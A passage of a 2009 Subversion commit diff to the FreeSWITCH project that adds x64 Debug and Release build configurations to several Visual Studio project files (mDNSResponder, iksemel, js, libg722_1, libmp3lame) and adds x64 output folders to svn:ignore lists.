+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\howl-1.0.0\include;..\..\howl-1.0.0\src\lib\howl;..\..\howl-1.0.0\src\lib\mDNSResponder"
+				PreprocessorDefinitions="_DEBUG;WINDOWS;WIN32;_WIN32_WINNT=0x0500;HAVE_WSA_ASYNC_SELECT;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CallingConvention="2"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libmDNSResponderd.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="Release"
 			IntermediateDirectory="Release Static"
@@ -146,6 +214,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				OmitFramePointers="true"
+				AdditionalIncludeDirectories="..\..\howl-1.0.0\include;..\..\howl-1.0.0\src\lib\howl;..\..\howl-1.0.0\src\lib\mDNSResponder"
+				PreprocessorDefinitions="WIN64;NDEBUG;WINDOWS;WIN32;_WIN32_WINNT=0x0500;HAVE_WSA_ASYNC_SELECT;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CallingConvention="2"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libmDNSResponder.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/iksemel


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
debug
   + Debug
Release
*.ncb
*.user
*.bak
debug
x64

Modified: freeswitch/branches/seven/libs/win32/iksemel/iksemel.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/iksemel/iksemel.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/iksemel/iksemel.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -138,6 +141,130 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\iksemel\include;."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="..\..\iksemel\include;."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/js


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
   + Debug
Release
*.ncb
*.user
*.bak
x64

Modified: freeswitch/branches/seven/libs/win32/js/js.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/js/js.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/js/js.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -114,6 +117,104 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\js\config.h&quot; type &quot;$(ProjectDir)..\..\js\config.hw&quot; &gt; &quot;$(ProjectDir)..\..\js\config.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\js\src\jsautocfg.h&quot; type &quot;$(ProjectDir)..\..\js\src\jsautocfg.hw&quot; &gt; &quot;$(ProjectDir)..\..\js\src\jsautocfg.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\js\nsprpub\pr\include\prcpucfg.h&quot; type &quot;$(ProjectDir)..\..\js\nsprpub\pr\include\md\_winnt.cfg&quot; &gt; &quot;$(ProjectDir)..\..\js\nsprpub\pr\include\prcpucfg.h&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Release/js.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="..\..\js\nsprpub\pr\include\private;..\..\js\nsprpub\pr\include"
+				PreprocessorDefinitions="_AMD64_=1;NDEBUG;_WINDOWS;WIN32;XP_WIN;JSFILE;EXPORT_JS_API;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;JS_THREADSAFE;OSSP;_NSPR_BUILD_;JS_HAS_FILE_OBJECT=1"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile="$(IntDir)\js.pch"
+				AssemblerListingLocation=""
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="odbc32.lib odbccp32.lib advapi32.lib wsock32.lib winmm.lib"
+				OutputFile="$(OutDir)\js32.dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories=""
+				ProgramDatabaseFile=".\Release/js32.pdb"
+				SubSystem="2"
+				OptimizeReferences="1"
+				EnableCOMDATFolding="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)js32.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release/js.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory="$(SolutionDir)Debug"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -209,6 +310,102 @@
 				CommandLine=""
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\js\config.h&quot; type &quot;$(ProjectDir)..\..\js\config.hw&quot; &gt; &quot;$(ProjectDir)..\..\js\config.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\js\src\jsautocfg.h&quot; type &quot;$(ProjectDir)..\..\js\src\jsautocfg.hw&quot; &gt; &quot;$(ProjectDir)..\..\js\src\jsautocfg.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\js\nsprpub\pr\include\prcpucfg.h&quot; type &quot;$(ProjectDir)..\..\js\nsprpub\pr\include\md\_winnt.cfg&quot; &gt; &quot;$(ProjectDir)..\..\js\nsprpub\pr\include\prcpucfg.h&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/js.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\js\nsprpub\pr\include\private;..\..\js\nsprpub\pr\include"
+				PreprocessorDefinitions="_DEBUG;DEBUG;_AMD64_=1;_WINDOWS;WIN32;XP_WIN;JSFILE;EXPORT_JS_API;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;JS_THREADSAFE;OSSP;_NSPR_BUILD_;JS_HAS_FILE_OBJECT=1"
+				MinimalRebuild="true"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile="$(IntDir)\js.pch"
+				AssemblerListingLocation=""
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="odbc32.lib odbccp32.lib advapi32.lib wsock32.lib winmm.lib"
+				OutputFile="$(OutDir)\js32.dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\Debug/js32.pdb"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)js32.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug/js.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/libg722_1


Name: svn:ignore
   - Debug
Release
*.user
   + Debug
Release
*.user
x64

Modified: freeswitch/branches/seven/libs/win32/libg722_1/libg722_1.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libg722_1/libg722_1.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libg722_1/libg722_1.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -41,7 +44,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\libg722_1\src\msvc\&quot;"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\libg722_1\src\msvc\&quot;;&quot;$(InputDir)..\..\libg722_1\src\generated\&quot;"
 				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBG722_1_EXPORTS"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
@@ -106,7 +109,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				EnableIntrinsicFunctions="true"
-				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\libg722_1\src\msvc\&quot;"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\libg722_1\src\msvc\&quot;;&quot;$(InputDir)..\..\libg722_1\src\generated\&quot;"
 				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBG722_1_EXPORTS"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
@@ -142,6 +145,134 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\libg722_1\src\msvc\&quot;;&quot;$(InputDir)..\..\libg722_1\src\generated\&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBG722_1_EXPORTS"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderThrough=""
+				PrecompiledHeaderFile=""
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\libg722_1\src\msvc\&quot;;&quot;$(InputDir)..\..\libg722_1\src\generated\&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBG722_1_EXPORTS"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/libmp3lame


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
x64

Modified: freeswitch/branches/seven/libs/win32/libmp3lame/libmp3lame_vc7.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libmp3lame/libmp3lame_vc7.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libmp3lame/libmp3lame_vc7.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -87,6 +90,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalOptions="/GAy /QIfdiv /QI0f"
+				Optimization="2"
+				AdditionalIncludeDirectories=".;&quot;..\..\lame-3.97&quot;;&quot;..\..\lame-3.97\include&quot;"
+				PreprocessorDefinitions="NDEBUG;_WINDOWS;WIN32;HAVE_CONFIG_H"
+				StringPooling="true"
+				RuntimeLibrary="0"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/libmp3lame_vc6.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				CompileAs="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libmp3lame.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory=".\Debug"
 			IntermediateDirectory=".\Debug"
@@ -155,6 +227,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;&quot;..\..\lame-3.97&quot;;&quot;..\..\lame-3.97\include&quot;"
+				PreprocessorDefinitions="_DEBUG;_WINDOWS;WIN32;HAVE_CONFIG_H"
+				RuntimeLibrary="1"
+				PrecompiledHeaderFile=".\Debug/libmp3lame_vc6.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+				CompileAs="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libmp3lame.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -177,6 +316,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -186,6 +335,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\encoder.c"
@@ -201,6 +360,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -210,6 +379,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\fft.c"
@@ -225,6 +404,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -234,6 +423,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\gain_analysis.c"
@@ -249,6 +448,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -258,6 +467,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\id3tag.c"
@@ -273,6 +492,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -282,6 +511,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\lame.c"
@@ -297,6 +536,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
